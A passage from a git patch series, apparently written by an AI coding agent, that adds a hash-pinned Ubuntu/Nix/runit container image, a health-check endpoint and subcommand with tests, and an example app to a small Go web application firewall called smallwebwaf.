"SWWAF_RESPONSE_MAX_BYTES": "5G", - "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", - "SWWAF_RATE_LIMIT_PER_HOUR": "10000", - "SWWAF_RATE_LIMIT_PER_DAY": "50000", + listenAddr: localhost + ":0", + "SWWAF_UPSTREAM_URL": appURL, + "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", + "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", + "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", + "SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s", + "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", + "SWWAF_REQUEST_MAX_BYTES": "100M", + "SWWAF_RESPONSE_MAX_BYTES": "5G", + "SWWAF_RATE_LIMIT_PER_MINUTE": "1000", + "SWWAF_RATE_LIMIT_PER_HOUR": "10000", + "SWWAF_RATE_LIMIT_PER_DAY": "50000", + "SWWAF_DENIED_COUNTRIES": "", + "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES": "", } for name, value := range want { From d4f90dba370df7dae6c4a190511fb9abe653af22 Mon Sep 17 00:00:00 2001 From: clawbot <35+clawbot@noreply.example.org> Date: Sun, 4 Oct 2026 10:05:30 +0200 Subject: [PATCH 11/64] The image apps build FROM, with its health check (closes #45) The Dockerfile's last stage is now the image of "Deployment" in SPEC.md: Ubuntu 26.04 with ca-certificates, nix-bin and runit from a dated snapshot whose InRelease files are checked by hash, nixpkgs from its release file checked by SHA-256, runsvinit built at a fixed commit, and smallwebwaf as a runit service. smallwebwaf answers /_smallwebwaf/healthz, and `smallwebwaf healthcheck`, which takes no further argument, is the image's HEALTHCHECK. script/example-app builds an app on the image and checks it end to end. The Nix profile comes last on the PATH: first, busybox from nixpkgs replaced runit's own runsvdir and sv. SPEC.md is corrected to match what was built. Model: opus-5-5 --- Dockerfile | 102 ++++++++++++++++-- Makefile | 9 +- README.md | 80 ++++++++------ SPEC.md | 61 ++++++----- deploy/example-app/Dockerfile | 20 ++++ deploy/example-app/app.run | 9 ++ internal/proxy/health_test.go | 47 ++++++++ internal/proxy/proxy.go | 14 +++ internal/requestlog/requestlog.go | 3 + internal/smallwebwaf/healthcheck.go | 100 +++++++++++++++++ .../smallwebwaf/healthcheck_internal_test.go | 27 +++++ internal/smallwebwaf/healthcheck_test.go | 97 +++++++++++++++++ internal/smallwebwaf/smallwebwaf.go | 7 +- internal/smallwebwaf/smallwebwaf_test.go | 11 +- script/bootstrap | 1 + script/example-app | 88 +++++++++++++++ share/smallwebwaf.run | 12 +++ 17 files changed, 617 insertions(+), 71 deletions(-) create mode 100644 deploy/example-app/Dockerfile create mode 100755 deploy/example-app/app.run create mode 100644 internal/proxy/health_test.go create mode 100644 internal/smallwebwaf/healthcheck.go create mode 100644 internal/smallwebwaf/healthcheck_internal_test.go create mode 100644 internal/smallwebwaf/healthcheck_test.go create mode 100755 script/example-app create mode 100755 share/smallwebwaf.run diff --git a/Dockerfile b/Dockerfile index 84da0ff..30aace9 100644 --- a/Dockerfile +++ b/Dockerfile @@ -33,16 +33,12 @@ RUN go test -count=1 -timeout 90s -race -cover ./... || \ { echo "--- Rerunning with -v for details ---"; \ go test -count=1 -timeout 90s -race -v ./...; exit 1; } -# Build stage, and the last one: a plain `docker build .` names no -# target and so builds this one. Nothing is wanted from the two phases -# above; the copies are what make BuildKit build them first, so this -# image cannot be produced unless lint and test passed. The image an -# app's Dockerfile builds FROM comes with milestone 2 -# (https://git.eeqj.de/sneak/smallwebwaf/issues/12); until then this -# stage builds the binary and can run it. +# Build stage. Nothing is wanted from the two phases above; the copies +# are what make BuildKit build them first, so the image, which needs this +# stage, cannot be produced unless lint and test passed. # # golang 1.27.1-trixie, 2026-09-19 -FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS builder COPY --from=lint /src/go.sum /dev/null COPY --from=test /src/go.sum /dev/null @@ -61,5 +57,93 @@ RUN CGO_ENABLED=0 go build -trimpath \ -ldflags="-s -w -X main.Version=${VERSION}" \ -o /usr/local/bin/smallwebwaf ./cmd/smallwebwaf +# runsvinit, the image's entrypoint, built at the last commit of its +# archived repository. It has no go.mod, and `go build` of its directory +# needs one; it uses only the standard library, so the one written here +# names nothing else. +# +# golang 1.27.1-trixie, 2026-09-19 +FROM golang@sha256:3b77fc618ec235a1ab412de7737f120dd507c57e8d87de4cbb7994fb94275ed5 AS runsvinit + +RUN git clone --quiet https://github.com/peterbourgon/runsvinit /src +WORKDIR /src +# runsvinit v2.0.0-8-gb4b2c78, 2015-10-07 +RUN git checkout --quiet --detach b4b2c785308b1ce785b6155c7fe5f16879080193 \ + && go mod init github.com/peterbourgon/runsvinit \ + && CGO_ENABLED=0 go build -trimpath -ldflags="-s -w" \ + -o /usr/local/bin/runsvinit . + +# The image an app's Dockerfile builds FROM, described under "Deployment" +# in SPEC.md. It is the last stage, so a plain `docker build .` builds it. +# +# ubuntu 26.04, 2026-09-27 +FROM ubuntu@sha256:f144425ff09be612d6d9ad965196e9cdc23dae1f42110a8a11a3e9a8198759f7 + +# ca-certificates, nix-bin and runit, from Ubuntu's archive as it was at +# the snapshot moment, which is never earlier than the Ubuntu image above. +# apt checks every package against the snapshot's InRelease files, and +# this step checks those against the hashes named here, which are those +# of the amd64 archive: other architectures use Ubuntu's ports archive. +# apt also fetches the live archive's InRelease files, which change daily +# and which the install does not use. The snapshot service is HTTPS only +# and this image has no CA certificates yet, so this step uses the Go +# image's. +RUN --mount=type=bind,from=builder,source=/etc/ssl/certs/ca-certificates.crt,target=/tmp/go-image-ca.crt \ + apt-get update --snapshot 20261001T000000Z \ + -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \ + && printf '%s\n' \ + '45f95ce276cdba3e41870516a130e03c58b8b7a79e9546b0efe9e526d255740c snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute_InRelease' \ + '802e675dd9de4c7f3916434a95e7c1d8eec0e82886622d7805ab19a2c6fe0365 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-updates_InRelease' \ + '64b3353f0bd4970b4f7271962245bcea9ff24d4cc7bea16b433f8a60e42ca3dd snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-backports_InRelease' \ + '1d5041572116a8b23aabf79ac7439ad8af83d57ad3fb0f9aa0d4523ec10c5908 snapshot.ubuntu.com_ubuntu_20261001T000000Z_dists_resolute-security_InRelease' \ + | (cd /var/lib/apt/lists && sha256sum --check --strict) \ + && DEBIAN_FRONTEND=noninteractive apt-get install --yes --no-install-recommends \ + --snapshot 20261001T000000Z \ + -o Acquire::https::CaInfo=/tmp/go-image-ca.crt \ + ca-certificates nix-bin runit \ + && rm -rf /var/lib/apt/lists/* + +# Nix run by root expects a group of build users, which nix-bin does not +# create; with the setting empty, root's builds run without them. +RUN mkdir /etc/nix && echo 'build-users-group =' > /etc/nix/nix.conf + +# nixpkgs, from its release file, checked by SHA-256, and set up for root +# as `nixpkgs`, so that an app's Dockerfile installs a package with +# `nix-env -iA nixpkgs.`. curl and xz come with nix-bin. +# +# nixpkgs nixos-26.05.11045.774debe7a0d1, 2026-10-02 +RUN curl -fsSL -o /tmp/nixexprs.tar.xz \ + https://releases.nixos.org/nixos/26.05/nixos-26.05.11045.774debe7a0d1/nixexprs.tar.xz \ + && echo 'b2994104605601690023a5a6a3bb5a07b2bd1716b4e3b208cba1056dacd2ab08 /tmp/nixexprs.tar.xz' \ + | sha256sum --check --strict \ + && mkdir -p /root/.nix-defexpr/nixpkgs \ + && tar -xJf /tmp/nixexprs.tar.xz -C /root/.nix-defexpr/nixpkgs --strip-components=1 \ + && rm /tmp/nixexprs.tar.xz + +# What root installs with nix-env lands in root's profile. This path to +# it works for every user, unlike /root/.nix-profile: only root can +# enter /root. It comes last, so that no package shadows the image's +# own tools: busybox, for one, brings an sv that looks for services +# elsewhere. +ENV PATH=${PATH}:/nix/var/nix/profiles/default/bin + +COPY --from=runsvinit /usr/local/bin/runsvinit /usr/local/bin/runsvinit +COPY --from=builder /usr/local/bin/smallwebwaf /usr/local/bin/smallwebwaf + +RUN groupadd --system --gid 65532 smallwebwaf \ + && useradd --system --uid 65532 --gid smallwebwaf --no-create-home \ + --shell /usr/sbin/nologin smallwebwaf + +# runsvinit starts runit's runsvdir on /etc/service, where Ubuntu's sv +# looks too. +COPY --chmod=755 share/smallwebwaf.run /etc/service/smallwebwaf/run + EXPOSE 8080 -ENTRYPOINT ["/usr/local/bin/smallwebwaf"] + +# traefik sends a container no requests until it is healthy, so the +# check runs every second from the start until it first passes, for up +# to a minute, and every 30 seconds after that. +HEALTHCHECK --start-period=1m --start-interval=1s \ + CMD ["/usr/local/bin/smallwebwaf", "healthcheck"] + +ENTRYPOINT ["/usr/local/bin/runsvinit"] diff --git a/Makefile b/Makefile index e8da879..36cf289 100644 --- a/Makefile +++ b/Makefile @@ -1,8 +1,10 @@ -.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run +.PHONY: bootstrap setup test lint fmt fmt-check check docker hooks build run \ + example-app # Makefile targets are thin shims; the implementations live in script/ # per the scripts-to-rule-them-all pattern (see the Entrypoints section -# of README.md). build and run are for working on the code by hand. +# of README.md). build and run are for working on the code by hand; +# example-app checks the image with an app built on it. bootstrap: @script/bootstrap @@ -36,3 +38,6 @@ build: run: @script/run + +example-app: + @script/example-app diff --git a/README.md b/README.md index 0b41fd2..db5160b 100644 --- a/README.md +++ b/README.md @@ -11,33 +11,38 @@ request with defaults chosen for a service on the open internet. It keeps its state in memory and in JSON files you can read and edit, and writes a detailed JSON log line for every request. -Status: the first milestone is built -(https://git.eeqj.de/sneak/smallwebwaf/issues/13), and the rate limits and -country lists of the second (https://git.eeqj.de/sneak/smallwebwaf/issues/14). -`smallwebwaf` passes each request to the app and the app's answer back, -unchanged, within its timeouts and size limits, works out each client's address, -refuses a client that sends too many requests or comes from a country you -refuse, and writes a JSON log line for every request. The image an app builds on -comes with the rest of milestone 2, and the rest of the design after that, in -the order of the build order in [`SPEC.md`](SPEC.md). The survey of existing -tools that led to the design is in [`EVALUATION.md`](EVALUATION.md). +Status: the first two milestones are built +(https://git.eeqj.de/sneak/smallwebwaf/issues/13 and +https://git.eeqj.de/sneak/smallwebwaf/issues/14). `smallwebwaf` passes each +request to the app and the app's answer back, unchanged, within its timeouts and +size limits, works out each client's address, refuses a client that sends too +many requests or comes from a country you refuse, and writes a JSON log line for +every request. It comes as the image the app's own image is built on. The rest +of the design comes after that, in the order of the build order in +[`SPEC.md`](SPEC.md). The survey of existing tools that led to the design is in +[`EVALUATION.md`](EVALUATION.md). ## Getting started -`smallwebwaf` is one Go binary. Until milestone 2 brings its image, build and -run it from a clone, with Go installed: +Build the `smallwebwaf` image from a clone: ```sh git clone https://git.eeqj.de/sneak/smallwebwaf.git cd smallwebwaf -make build -SWWAF_UPSTREAM_URL=http://127.0.0.1:3000 ./bin/smallwebwaf +make docker ``` -It then listens on port 8080 and passes every request to the app at -`SWWAF_UPSTREAM_URL`, here an app on port 3000; with no setting at all, to an -app on `127.0.0.1:8081`. On `SIGTERM` or `SIGINT` it stops taking requests and -gives those in progress five seconds to finish. +`make docker` runs the tests and the linter, then builds the image, tagged +`smallwebwaf`, for amd64 and only on an amd64 host: the hashes the `Dockerfile` +checks Ubuntu's package lists against are those of Ubuntu's amd64 archive. Push +it to a registry your hosts pull from, and build each app's image on it, pinned +by digest, as "How it works, in short" below shows. `make example-app` builds a +small app on the image, the one in `deploy/example-app`, and checks that it +works. + +To work on the code, `make build` builds the binary alone, with Go installed, +and `make run` builds and runs it, listening on port 8080 in front of an app at +`SWWAF_UPSTREAM_URL`, by default `http://127.0.0.1:8081`. ## What it does so far @@ -79,6 +84,8 @@ gives those in progress five seconds to finish. lookup" below); with neither set, no visitor's address leaves the host. A client on a private, loopback or link-local address has no country, and neither list checks it. +- Answers `GET /_smallwebwaf/healthz` itself with `200` and `ok`, before any + check and without asking the app, for the image's health check. - Writes a line in the request log for each request (see "Request log" below). ## Settings @@ -155,8 +162,9 @@ refused ones included: - `action` is `forward` for a request passed to the app, `country_denied` for one refused for its client's country, `rate_limited` for one refused for a rate limit, `too_large` for a request or response over its size limit, - `timed_out` for one that ran out of time, and `upstream_error` when the app - could not be reached or its answer broke off. + `timed_out` for one that ran out of time, `upstream_error` when the app could + not be reached or its answer broke off, and `admin` for one `smallwebwaf` + answered at its own endpoint. - `limit_hit` is there for a request refused for a rate limit, and names the window whose limit it went over: `minute`, `hour` or `day`, the shortest if it went over several. @@ -353,9 +361,9 @@ main "$@" side by side, each as its own user, and start either again a second after it exits. Leave out `ENTRYPOINT` and `USER` from the app's Dockerfile. - `nix-env -iA nixpkgs.` installs a package from the nixpkgs in the image, - and the app finds it on its `PATH`. That nixpkgs is fixed at one commit, so - the same `smallwebwaf` image always gives the app the same packages; newer - ones come with a newer `smallwebwaf` image. + and the app finds it on its `PATH`, after Ubuntu's own commands. That nixpkgs + is fixed at one commit, so the same `smallwebwaf` image always gives the app + the same packages; newer ones come with a newer `smallwebwaf` image. - Deploy it as you deploy any app, with traefik's labels on this one container pointing at port 8080. upaas needs no change for this. - The app has to trust `127.0.0.1` and `::1` for forwarded headers, besides the @@ -373,7 +381,10 @@ main "$@" the health check on `127.0.0.1`. - `smallwebwaf` keeps its state files in `/var/lib/smallwebwaf`. Mount a volume there to keep bans and client history when a deploy replaces the container; - without one, it still starts. + without one, it still starts. The state files come in milestone 3 or later; + until then it writes nothing to disk and needs no volume. +- `docker stop` has runit stop both processes. `smallwebwaf` then stops taking + requests and gives those in progress five seconds to finish. A rule file is one rule per line: a name, what to match against, what to do, and a regex. @@ -444,7 +455,8 @@ refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. - `cmd/smallwebwaf`: the binary, which only calls `internal/smallwebwaf`. - `internal/smallwebwaf`: the process: it reads the settings, listens, serves - requests until `SIGTERM` or `SIGINT`, and stops. + requests until `SIGTERM` or `SIGINT`, and stops. Run as + `smallwebwaf healthcheck`, it is the image's health check instead. - `internal/config`: reads the settings, the one place they are read. - `internal/proxy`: what happens to each request: it works out the client, runs the checks, passes the request to the app and the answer back with the @@ -458,6 +470,11 @@ refusal comes with `SWWAF_ALLOW_NETS` in milestone 3 or later. it over a rate limit. - `internal/requestlog`: the lines on stdout: the request log line and the process's own messages. +- `Dockerfile`: the lint and test phases, then the image, whose last stage + installs Ubuntu's packages, nixpkgs, `runsvinit` and `smallwebwaf`, with + `share/smallwebwaf.run` as runit's `run` script for `smallwebwaf`. +- `deploy/example-app`: an app built on the image, which `script/example-app` + checks. Besides the Go standard library, `github.com/hashicorp/golang-lru/v2` keeps the table of clients to 20,000 and the GeoJS answers to 100,000, dropping the least @@ -472,7 +489,7 @@ the `Makefile` targets are thin shims that call them. The scripts are POSIX sh, so that they run in minimal containers. - `script/bootstrap`: installs what the other scripts need on the host: `make`, - `git`, Go for `gofmt`, node and yarn, and prettier. + `git`, `curl`, Go for `gofmt`, node and yarn, and prettier. - `script/setup`: readies a fresh clone: runs `script/bootstrap`, then `script/install-precommit`. - `script/projectname`: prints the project's name, `smallwebwaf`, which @@ -492,13 +509,16 @@ so that they run in minimal containers. working on the code by hand; `make build` runs it. - `script/run`: builds `bin/smallwebwaf` with `script/build` and runs it; `make run` runs it. +- `script/example-app`: builds the image and, on it, the example app in + `deploy/example-app`, runs it, and checks that the health check passes, that a + request reaches the app through `smallwebwaf`, and that `sv stop` and + `docker stop` stop it in order; then removes the container and both images. It + needs network access, for nixpkgs' binary cache, and `script/check` does not + run it; `make example-app` does. ## TODO -- Milestone 2: the image an app builds on - (https://git.eeqj.de/sneak/smallwebwaf/issues/14); its rate limits and country - lists are built. -- The rest of the design, in the order of the build order in +- Milestone 3 and the rest of the design, in the order of the build order in [`SPEC.md`](SPEC.md). ## Documents diff --git a/SPEC.md b/SPEC.md index 3020a65..63d236b 100644 --- a/SPEC.md +++ b/SPEC.md @@ -1263,14 +1263,19 @@ image's digest does. `apt-get update` keeps the snapshot's `InRelease` files, which apt checks against the archive's signature, in `/var/lib/apt/lists/`; each lists the SHA-256 hash of the package lists it covers, and each package list the hash of every package in it. The Dockerfile also names the SHA-256 hash of each -`InRelease` file apt uses, and the build checks them after `apt-get update` and -before `apt-get install`, so every package apt installs is checked, through -those files, against hashes the Dockerfile names. The snapshot service is -reached over HTTPS, and the Ubuntu image has no CA certificates of its own, so -this one install uses those of the Go image that `smallwebwaf` is built in, -which is pinned by digest too: apt's `Acquire::https::CaInfo` option names that -image's CA certificate file, `/etc/ssl/certs/ca-certificates.crt`, copied into -the build. +of the snapshot's `InRelease` files, and the build checks them after +`apt-get update` and before `apt-get install`, so every package apt installs is +checked, through those files, against hashes the Dockerfile names. +`apt-get update` also fetches the live archive's `InRelease` files into the same +directory; their hashes change whenever the archive does, and the install does +not use them, so the check leaves them out. The hashes are those of the archive +for amd64, and so the image is built for amd64: other architectures use Ubuntu's +ports archive, whose `InRelease` files differ. The snapshot service is reached +over HTTPS, and the Ubuntu image has no CA certificates of its own, so this one +install uses those of the Go image that `smallwebwaf` is built in, which is +pinned by digest too: apt's `Acquire::https::CaInfo` option names that image's +CA certificate file, `/etc/ssl/certs/ca-certificates.crt`, mounted for that one +step. Packages from nixpkgs: nixpkgs is fixed at one commit of its newest release branch, `nixos-26.05` today. For each commit of the branch that has passed its @@ -1281,15 +1286,18 @@ bytes can change. The image's Dockerfile names the release and the SHA-256 hash of that file, which the release's page lists, and the build checks the hash before unpacking it. nixpkgs is set up for root under the name `nixpkgs`, so the app's Dockerfile installs a package with `nix-env -iA nixpkgs.`, and -whatever it installs is on the `PATH` of every service. Because nixpkgs stays at -that commit, an app built on the same `smallwebwaf` image gets the same packages -each time it is built. Unpacked, nixpkgs takes about 500 MiB of disk, more on -some filesystems such as ZFS, and each package an app installs from it adds its -own size, with everything it depends on. A newer commit of the branch, with its -security fixes, comes with a newer `smallwebwaf` image, as do Ubuntu's own -fixes; an app takes them by changing the digest in its `FROM` line. When nixpkgs -makes its next release, every six months, the image moves to that release's -branch. +whatever it installs is on the `PATH` of every service: the image adds root's +Nix profile, `/nix/var/nix/profiles/default/bin`, at the end of the `PATH`, +after Ubuntu's own directories, so that no package hides the image's own +commands. busybox, for one, brings its own `sv`, which looks for services +elsewhere. Because nixpkgs stays at that commit, an app built on the same +`smallwebwaf` image gets the same packages each time it is built. Unpacked, +nixpkgs takes about 500 MiB of disk, more on some filesystems such as ZFS, and +each package an app installs from it adds its own size, with everything it +depends on. A newer commit of the branch, with its security fixes, comes with a +newer `smallwebwaf` image, as do Ubuntu's own fixes; an app takes them by +changing the digest in its `FROM` line. When nixpkgs makes its next release, +every six months, the image moves to that release's branch. The two processes: @@ -1315,12 +1323,15 @@ The two processes: - The container's root filesystem stays writable: runit writes each service's status into its directory under `/etc/service`. -The health check: the image's `HEALTHCHECK` passes while `smallwebwaf` answers -`GET /_smallwebwaf/healthz` on `127.0.0.1`, at the port in `SWWAF_LISTEN_ADDR`, -and the app accepts connections at the address in `SWWAF_UPSTREAM_URL`, and -fails when either does not. The container therefore shows as healthy only while -both processes are up. An app with a health check of its own can replace the -image's `HEALTHCHECK` with one that checks both. +The health check: the image's `HEALTHCHECK` runs `smallwebwaf healthcheck`, +which passes while `smallwebwaf` answers `GET /_smallwebwaf/healthz` on +`127.0.0.1`, at the port in `SWWAF_LISTEN_ADDR`, and the app accepts connections +at the address in `SWWAF_UPSTREAM_URL`, and fails when either does not. The +container therefore shows as healthy only while both processes are up. traefik +sends a container no requests until it shows as healthy, so the check runs every +second from the container's start until it first passes, for up to a minute, and +every 30 seconds after that. An app with a health check of its own can replace +the image's `HEALTHCHECK` with one that checks both. Ports: `smallwebwaf` listens on port 8080 on every address and on no other port; its health check, metrics and ban management are all on that listener, under @@ -1609,7 +1620,9 @@ holds any token file. - The container image described under "Deployment", with runit and the container's health check. The health check calls `/_smallwebwaf/healthz`, so milestone 2 answers that path, although the other admin endpoints come - later. + later. The image's `/var/lib/smallwebwaf`, which the `run` script gives to + the `smallwebwaf` user, and `/etc/smallwebwaf/rules.d` come with the state + files and the rule files. - Milestone 3 and later: the rest of the design, in this order: - static lists, the bans that broken request limits lead to, the ban ledger and the JSON state files with edits taken in while running, exemptions, diff --git a/deploy/example-app/Dockerfile b/deploy/example-app/Dockerfile new file mode 100644 index 0000000..a228c17 --- /dev/null +++ b/deploy/example-app/Dockerfile @@ -0,0 +1,20 @@ +# An app built on the smallwebwaf image, as under "Deployment" in +# SPEC.md, which script/example-app builds and checks. The app is +# busybox's web server, from the nixpkgs in the image, serving one page; +# a real app copies in its own binary instead. +# +# A real app names the smallwebwaf image by digest. This one takes the +# image script/example-app has just built, or else the one `make docker` +# builds. +ARG SMALLWEBWAF_IMAGE=smallwebwaf +FROM ${SMALLWEBWAF_IMAGE} + +# Packages the app needs, from the nixpkgs in the image. +RUN nix-env -iA nixpkgs.busybox + +# The app's page, and a user of its own to run it. +RUN mkdir /var/www && echo 'hello from the example app' > /var/www/index.html +RUN useradd --system --no-create-home --shell /usr/sbin/nologin app + +# The app's runit service. +COPY --chmod=755 app.run /etc/service/app/run diff --git a/deploy/example-app/app.run b/deploy/example-app/app.run new file mode 100755 index 0000000..81782d8 --- /dev/null +++ b/deploy/example-app/app.run @@ -0,0 +1,9 @@ +#!/usr/bin/env bash +set -euo pipefail + +main() { + sleep 1 + exec chpst -u app:app busybox httpd -f -p 127.0.0.1:8081 -h /var/www +} + +main "$@" diff --git a/internal/proxy/health_test.go b/internal/proxy/health_test.go new file mode 100644 index 0000000..eacf49e --- /dev/null +++ b/internal/proxy/health_test.go @@ -0,0 +1,47 @@ +package proxy_test + +import ( + "net/http" + "sync/atomic" + "testing" + + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +func TestHealthEndpointIsAnsweredBeforeAnyCheck(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + // With a limit of one request a minute, any request counted before + // the last one would have it refused. + addr, out := startProxy(t, app.URL, map[string]string{rateLimitPerMinute: "1"}) + + const healthChecks = 3 + + for range healthChecks { + got := get(t, addr, proxy.HealthPath) + wantStatus(t, got, http.StatusOK) + + if string(got.body) != "ok\n" { + t.Errorf("health endpoint answered %q, want ok", got.body) + } + } + + wantStatus(t, get(t, addr, "/"), http.StatusOK) + + lines := out.requestLines(t, healthChecks+1) + for _, line := range lines[:healthChecks] { + wantLine(t, line, http.StatusOK, requestlog.ActionAdmin) + } + + wantLine(t, lines[healthChecks], http.StatusOK, requestlog.ActionForward) + + if calls.Load() != 1 { + t.Errorf("the app was called %d times, want once", calls.Load()) + } +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index 531478b..03d27b6 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -13,6 +13,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" ) // The request line and headers a client may send, and how long a @@ -34,6 +35,10 @@ const ( appIdleConnTimeout = 90 * time.Second ) +// HealthPath is smallwebwaf's health endpoint, which the container's +// health check asks. +const HealthPath = "/_smallwebwaf/healthz" + // Params are what New needs. type Params struct { Config *config.Config @@ -111,6 +116,15 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { rq := h.newRequest(w, r) defer rq.finish() + // The health endpoint is answered at once, before any check, so that + // a health checker is never refused. It does not ask the app. + if r.Method == http.MethodGet && r.URL.Path == HealthPath { + rq.line.Action = requestlog.ActionAdmin + _, _ = io.WriteString(rq.out, "ok\n") + + return + } + refused := rq.check(r.Context()) if refused != nil { rq.answer(*refused) diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index fddcd19..1549c8f 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -28,6 +28,9 @@ const ( ActionRateLimited = "rate_limited" // ActionCountryDenied is a request refused for its client's country. ActionCountryDenied = "country_denied" + // ActionAdmin is a request smallwebwaf answered at one of its own + // endpoints, under /_smallwebwaf/. + ActionAdmin = "admin" ) // timeLayout is RFC 3339 with milliseconds. diff --git a/internal/smallwebwaf/healthcheck.go b/internal/smallwebwaf/healthcheck.go new file mode 100644 index 0000000..9269f3e --- /dev/null +++ b/internal/smallwebwaf/healthcheck.go @@ -0,0 +1,100 @@ +package smallwebwaf + +import ( + "context" + "errors" + "fmt" + "io" + "net" + "net/http" + "net/url" + "time" + + "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/proxy" +) + +// healthCheckTimeout bounds the whole health check. +const healthCheckTimeout = 5 * time.Second + +var errHealthEndpoint = errors.New("smallwebwaf's health endpoint answered") + +// HealthCheck is the container's health check. It returns 0 while +// smallwebwaf answers its health endpoint on 127.0.0.1, at the port in +// SWWAF_LISTEN_ADDR, and the app accepts connections at the address in +// SWWAF_UPSTREAM_URL. Otherwise it writes why to stderr and returns 1. +// args are the arguments after `healthcheck`; it takes none, and given +// one it names it on stderr and returns 1 without checking anything. +func HealthCheck( + ctx context.Context, args []string, lookupEnv func(string) (string, bool), + stderr io.Writer, +) int { + if len(args) > 0 { + _, _ = fmt.Fprintf(stderr, + "smallwebwaf healthcheck: unexpected argument %q\n", args[0]) + + return 1 + } + + err := healthCheck(ctx, lookupEnv) + if err != nil { + _, _ = fmt.Fprintln(stderr, "unhealthy:", err) + + return 1 + } + + return 0 +} + +func healthCheck(ctx context.Context, lookupEnv func(string) (string, bool)) error { + ctx, cancel := context.WithTimeout(ctx, healthCheckTimeout) + defer cancel() + + cfg, err := config.FromEnvironment(lookupEnv) + if err != nil { + return fmt.Errorf("invalid setting: %w", err) + } + + // The settings have checked that the address has a port. + _, port, _ := net.SplitHostPort(cfg.ListenAddr) + health := "http://" + net.JoinHostPort("127.0.0.1", port) + proxy.HealthPath + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, health, http.NoBody) + if err != nil { + return fmt.Errorf("make the request: %w", err) + } + + res, err := http.DefaultClient.Do(req) + if err != nil { + return fmt.Errorf("ask smallwebwaf: %w", err) + } + + _ = res.Body.Close() + + if res.StatusCode != http.StatusOK { + return fmt.Errorf("%w %s", errHealthEndpoint, res.Status) + } + + conn, err := (&net.Dialer{}).DialContext(ctx, "tcp", appAddress(cfg.UpstreamURL)) + if err != nil { + return fmt.Errorf("connect to the app: %w", err) + } + + _ = conn.Close() + + return nil +} + +// appAddress is the host and port of the app's URL, the port being the +// scheme's own when the URL names none. +func appAddress(app *url.URL) string { + port := app.Port() + if port == "" { + port = "80" + if app.Scheme == "https" { + port = "443" + } + } + + return net.JoinHostPort(app.Hostname(), port) +} diff --git a/internal/smallwebwaf/healthcheck_internal_test.go b/internal/smallwebwaf/healthcheck_internal_test.go new file mode 100644 index 0000000..7aec7f9 --- /dev/null +++ b/internal/smallwebwaf/healthcheck_internal_test.go @@ -0,0 +1,27 @@ +package smallwebwaf + +import ( + "net/url" + "testing" +) + +func TestAppAddress(t *testing.T) { + t.Parallel() + + for app, want := range map[string]string{ + "http://127.0.0.1:8081": "127.0.0.1:8081", + "http://app": "app:80", + "https://app/": "app:443", + "https://[::1]": "[::1]:443", + } { + parsed, err := url.Parse(app) + if err != nil { + t.Fatalf("parse %q: %v", app, err) + } + + got := appAddress(parsed) + if got != want { + t.Errorf("appAddress(%q) is %q, want %q", app, got, want) + } + } +} diff --git a/internal/smallwebwaf/healthcheck_test.go b/internal/smallwebwaf/healthcheck_test.go new file mode 100644 index 0000000..cabacf5 --- /dev/null +++ b/internal/smallwebwaf/healthcheck_test.go @@ -0,0 +1,97 @@ +package smallwebwaf_test + +import ( + "bytes" + "context" + "net" + "net/http" + "net/http/httptest" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/smallwebwaf" +) + +func TestHealthCheck(t *testing.T) { + t.Parallel() + + app := httptest.NewServer(http.NotFoundHandler()) + defer app.Close() + + ctx, stop := context.WithCancel(t.Context()) + defer stop() + + out := &output{} + exited := make(chan int, 1) + + go func() { + exited <- run(ctx, map[string]string{ + listenAddr: localhost + ":0", + upstreamURL: app.URL, + }, out) + }() + + addr, _ := out.line(t, "msg", "starting")["address"].(string) + _, port, _ := net.SplitHostPort(addr) + // The container's settings: an address to listen on with an empty + // host part, which the health check asks at 127.0.0.1. + env := map[string]string{listenAddr: ":" + port, upstreamURL: app.URL} + + wantHealthCheck(t, env, 0, "") + + app.Close() + wantHealthCheck(t, env, 1, "unhealthy: connect to the app: ") + + stop() + + select { + case <-exited: + case <-time.After(waitLimit): + t.Fatal("still running after being told to stop") + } + + wantHealthCheck(t, env, 1, "unhealthy: ask smallwebwaf: ") + wantHealthCheck(t, map[string]string{listenAddr: "8080"}, 1, + "unhealthy: invalid setting: SWWAF_LISTEN_ADDR: ") +} + +func TestHealthCheckRefusesAnArgument(t *testing.T) { + t.Parallel() + + var stderr bytes.Buffer + + noSettings := func(string) (string, bool) { + return "", false + } + + got := smallwebwaf.HealthCheck(t.Context(), []string{"now"}, noSettings, &stderr) + + want := "smallwebwaf healthcheck: unexpected argument \"now\"\n" + if got != 1 || stderr.String() != want { + t.Errorf("health check returned %d and wrote %q, want 1 and %q", + got, stderr.String(), want) + } +} + +// wantHealthCheck runs the health check with the settings in env, and +// checks its exit status and the start 